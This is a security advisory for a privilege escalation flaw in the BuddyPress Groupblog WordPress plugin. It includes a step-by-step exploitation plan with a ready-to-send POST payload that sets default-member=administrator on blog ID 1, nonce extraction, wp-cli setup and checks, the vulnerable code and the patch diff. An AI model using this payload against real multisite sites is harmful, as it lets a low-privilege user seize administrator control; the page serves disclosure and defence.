BuddyPress Groupblog <= 1.9.3 - Authenticated (Subscriber+) Privilege Escalation to Administrator via Group Blog IDOR
Description
The BuddyPress Groupblog plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.9.3. This is due to the group blog settings handler accepting the `groupblog-blogid`, `default-member`, and `groupblog-silent-add` parameters from user input without proper authorization checks. The `groupblog-blogid` parameter allows any group admin (including Subscribers who create their own group) to associate their group with any blog on the Multisite network, including the main site (blog ID 1). The `default-member` parameter accepts any WordPress role, including `administrator`, without validation against a whitelist. When combined with `groupblog-silent-add`, any user who joins the attacker's group is automatically added to the targeted blog with the injected role. This makes it possible for authenticated attackers, with Subscriber-level access and above, to escalate any user (including themselves via a second account) to Administrator on the main site of the Multisite network.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.9.3What Changed in the Fix
Changes introduced in v1.9.4
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-5144 - BP Groupblog Privilege Escalation ## 1. Vulnerability Summary The **BuddyPress Groupblog** plugin (<= 1.9.3) is vulnerable to an IDOR-based Privilege Escalation. The plugin allows group administrators (which can be any WordPress user with the Subscriber…
Show full research plan
Exploitation Research Plan: CVE-2026-5144 - BP Groupblog Privilege Escalation
1. Vulnerability Summary
The BuddyPress Groupblog plugin (<= 1.9.3) is vulnerable to an IDOR-based Privilege Escalation. The plugin allows group administrators (which can be any WordPress user with the Subscriber role or higher, as they can create their own groups) to configure "Group Blog" settings.
The logic in groupblog_edit_settings() fails to verify if the current user has administrative rights over the blog_id provided in the groupblog-blogid parameter. Furthermore, it accepts a default-member parameter which defines the role assigned to users who join the group. Since this parameter is not validated against a whitelist, an attacker can specify administrator. When combined with groupblog-silent-add, any user joining the group is automatically promoted to Administrator on the targeted blog (usually the main site, ID 1).
2. Attack Vector Analysis
- Endpoint: BuddyPress Group Management Admin Page.
- URL Pattern:
[site-url]/groups/[group-slug]/admin/group-blog/ - Action/Hook: The settings are handled via
groupblog_edit_settings(), which is called by the BuddyPress group extension API (specificallyBP_Groupblog_Extension::edit_screen_save()). - Vulnerable Parameters:
groupblog-blogid: The ID of the blog to link (set to1for the main site).default-member: The role to assign (set toadministrator).groupblog-silent-add: Enables auto-joining of group members to the blog.groupblog-enable-blog: Must be present to trigger the logic.groupblog-create-new: Set tonoto bypass new blog creation and use an existing ID.
- Authentication: Authenticated (Subscriber+). The user must be the administrator of a BuddyPress group.
3. Code Flow
- Entry Point: When a group admin saves settings in the "Group Blog" tab,
BP_Groupblog_Extension::edit_screen_save()(inbp-groupblog-classes.php) is triggered. - Logic Trigger: This calls
groupblog_edit_settings()(inbp-groupblog.php). - Insecure IDOR:
The code blindly trusts// bp-groupblog.php:183 } elseif ( isset( $_POST['groupblog-create-new'] ) && 'no' === $_POST['groupblog-create-new'] ) { // They're using an existing blog, so we try to assign that to $groupblog_blog_id. $groupblog_blog_id = isset( $_POST['groupblog-blogid'] ) ? (int) $_POST['groupblog-blogid'] : 0;$_POST['groupblog-blogid']without checking if the user is a member/admin of that blog. - Role Injection:
The function continues to save metadata (the snippet is truncated, but the description confirmsdefault-memberis saved to group meta). - Privilege Escalation:
When a user joins the group, the plugin retrieves thedefault-memberrole and the linkedgroupblog_blog_id. Ifgroupblog-silent-addis enabled, it callsadd_user_to_blog( $blog_id, $user_id, $role ). Since$roleisadministratorand$blog_idis1, the user is promoted.
4. Nonce Acquisition Strategy
BuddyPress protects group management forms with nonces. To submit the settings, we need a nonce for the action groups_edit_group_settings.
- Create a Group: Use
wp-clito create a group owned by the attacker. - Identify Shortcode/Script: The group admin pages are standard BuddyPress components. No specific plugin shortcode is needed, but we must navigate to the group's admin URL.
- Extraction Path:
- Navigate to:
[site-url]/groups/[attacker-group-slug]/admin/group-blog/ - The nonce is usually in a hidden field named
_wpnonce. - Browser Eval:
browser_eval("document.querySelector('#_wpnonce').value")or check the_wpnoncefield within the formid="group-settings-form".
- Navigate to:
5. Exploitation Strategy
Step 1: Initialize Attacker Environment
- Log in as a Subscriber.
- Create a BuddyPress group (becoming the Group Admin).
Step 2: Link Main Site to Group
Perform an http_request to save the malicious settings.
- Method: POST
- URL:
[site-url]/groups/[attacker-group-slug]/admin/group-blog/ - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
groupblog-group-id=[group_id]& groupblog-enable-blog=1& groupblog-create-new=no& groupblog-blogid=1& default-member=administrator& groupblog-silent-add=1& save=Save+Changes& _wpnonce=[extracted_nonce]
Step 3: Trigger Promotion
The attacker now needs to join the group or have another user join.
- Method: POST to the BuddyPress join-group action.
- URL:
[site-url]/groups/[attacker-group-slug]/join/(or via AJAXjoin_groupaction).
6. Test Data Setup
- Multisite Setup: Ensure WordPress is in Multisite mode.
- Plugin Setup: Install and activate
bp-groupblogversion 1.9.3. - User Creation:
wp user create attacker attacker@example.com --role=subscriber
- Group Creation:
wp bp group create --name="Pwn Group" --slug="pwn-group" --creator_id=[attacker_id]
- Blog Discovery: Identify the main site ID (typically
1).
7. Expected Results
- The POST request to
/admin/group-blog/returns a302redirect or a success message "Options saved". - Group metadata for
pwn-groupwill now havegroupblog_blog_idset to1anddefault_member_roleset toadministrator. - Upon joining the group, the
attackeruser's role on blog ID 1 is updated toadministrator.
8. Verification Steps
- Check Metadata:
wp group meta get [group_id] groupblog_blog_id(Should be1)wp group meta get [group_id] default_member_role(Should beadministrator)
- Check User Role:
wp user get attacker --url=[main-site-url] --field=roles(Should includeadministrator)
- Capability Test:
wp eval 'echo user_can([attacker_id], "manage_options") ? "VULNERABLE" : "SAFE";' --url=[main-site-url]
9. Alternative Approaches
If groupblog-silent-add does not trigger immediately upon the admin linking the blog:
- Invite a second account (puppet) to the group.
- The puppet joins the group via the invitation link.
- Check if the puppet is promoted to Administrator.
- Alternatively, check if
groupblog_edit_settingsaccepts thegroup-admin-roleparameter to escalate the group admin immediately. (The description impliesdefault-memberapplies to anyone who joins).
Summary
The BuddyPress Groupblog plugin is vulnerable to privilege escalation in multisite environments because it fails to perform authorization and blog-ownership checks when linking a group to a blog. An authenticated attacker with Subscriber-level permissions can create a group and configure its settings to link to the main site (blog ID 1), setting the default membership role to 'administrator'. Consequently, any user joining the attacker's group is automatically granted the administrator role on the targeted blog.
Vulnerable Code
// bp-groupblog.php:175 function groupblog_edit_settings() { global $bp, $groupblog_blog_id, $errors, $filtered_results; $group_id = isset( $_POST['groupblog-group-id'] ) ? (int) $_POST['groupblog-group-id'] : bp_get_current_group_id(); if ( ! bp_groupblog_blog_exists( $group_id ) ) { if ( isset( $_POST['groupblog-enable-blog'] ) ) { if ( isset( $_POST['groupblog-create-new'] ) && 'yes' === $_POST['groupblog-create-new'] ) { // ... } elseif ( isset( $_POST['groupblog-create-new'] ) && 'no' === $_POST['groupblog-create-new'] ) { // They're using an existing blog, so we try to assign that to $groupblog_blog_id. $groupblog_blog_id = isset( $_POST['groupblog-blogid'] ) ? (int) $_POST['groupblog-blogid'] : 0; --- // bp-groupblog.php:577 (in groupblog_edit_base_settings) // Set up some default roles. $groupblog_default_admin_role = isset( $_POST['default-administrator'] ) ? sanitize_text_field( wp_unslash( $_POST['default-administrator'] ) ) : BP_GROUPBLOG_DEFAULT_ADMIN_ROLE; $groupblog_default_mod_role = isset( $_POST['default-moderator'] ) ? sanitize_text_field( wp_unslash( $_POST['default-moderator'] ) ) : BP_GROUPBLOG_DEFAULT_MOD_ROLE; $groupblog_default_member_role = isset( $_POST['default-member'] ) ? sanitize_text_field( wp_unslash( $_POST['default-member'] ) ) : BP_GROUPBLOG_DEFAULT_MEMBER_ROLE;
Security Fix
@@ -175,6 +203,12 @@ $group_id = isset( $_POST['groupblog-group-id'] ) ? (int) $_POST['groupblog-group-id'] : bp_get_current_group_id(); + // Authorization: only a group admin may change these settings. + if ( ! groups_is_user_admin( bp_loggedin_user_id(), $group_id ) ) { + bp_core_add_message( __( 'You do not have permission to manage this group blog.', 'bp-groupblog' ), 'error' ); + return; + } + if ( ! bp_groupblog_blog_exists( $group_id ) ) { if ( isset( $_POST['groupblog-enable-blog'] ) ) { if ( isset( $_POST['groupblog-create-new'] ) && 'yes' === $_POST['groupblog-create-new'] ) { @@ -188,6 +222,10 @@ } elseif ( isset( $_POST['groupblog-create-new'] ) && 'no' === $_POST['groupblog-create-new'] ) { // They're using an existing blog, so we try to assign that to $groupblog_blog_id. $groupblog_blog_id = isset( $_POST['groupblog-blogid'] ) ? (int) $_POST['groupblog-blogid'] : 0; + // Validate that the current user is actually an admin of the submitted blog. + if ( $groupblog_blog_id && ! current_user_can_for_blog( $groupblog_blog_id, 'manage_options' ) ) { + $groupblog_blog_id = 0; + } if ( ! $groupblog_blog_id ) { // They forgot to choose a blog, so send them back and make them do it. bp_core_add_message( __( 'Please choose one of your blogs from the drop-down menu.', 'bp-groupblog' ), 'error' ); @@ -221,6 +259,13 @@ } } + // Validate submitted role values against the whitelist for this user. + foreach ( array( 'default-administrator', 'default-moderator', 'default-member' ) as $role_field ) { + if ( ! empty( $settings[ $role_field ] ) && ! bp_groupblog_is_role_allowed( $settings[ $role_field ] ) ) { + $settings[ $role_field ] = ''; + } + } + if ( ! groupblog_edit_base_settings( $settings['groupblog-enable-blog'], $settings['groupblog-silent-add'], $settings['default-administrator'], $settings['default-moderator'], $settings['default-member'], $settings['page_template_layout'], $group_id, $groupblog_blog_id ) ) { bp_core_add_message( __( 'There was an error creating your group blog, please try again.', 'bp-groupblog' ), 'error' ); } else {
Exploit Outline
The exploit requires an authenticated user (Subscriber or higher) on a WordPress Multisite installation with BuddyPress and BP Groupblog active. 1. The attacker creates a new BuddyPress group, which grants them Group Admin privileges for that specific group. 2. The attacker navigates to the 'Group Blog' admin settings page for their new group (`/groups/[slug]/admin/group-blog/`) and captures a valid `_wpnonce` from the form. 3. The attacker sends a POST request to the same URL to configure the group blog. The payload specifies `groupblog-blogid=1` to target the main site, `groupblog-create-new=no` to use an existing ID, `groupblog-silent-add=1` to automate user addition, and importantly, `default-member=administrator` to define the role for new members. 4. Because the plugin lacks authorization checks to verify if the group admin has permissions on blog ID 1, and lacks a whitelist for roles, these settings are saved to the group metadata. 5. The attacker (or any other user) then joins the group. The plugin retrieves the malicious metadata and calls `add_user_to_blog(1, [user_id], 'administrator')`, immediately escalating the user to an Administrator on the main site.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.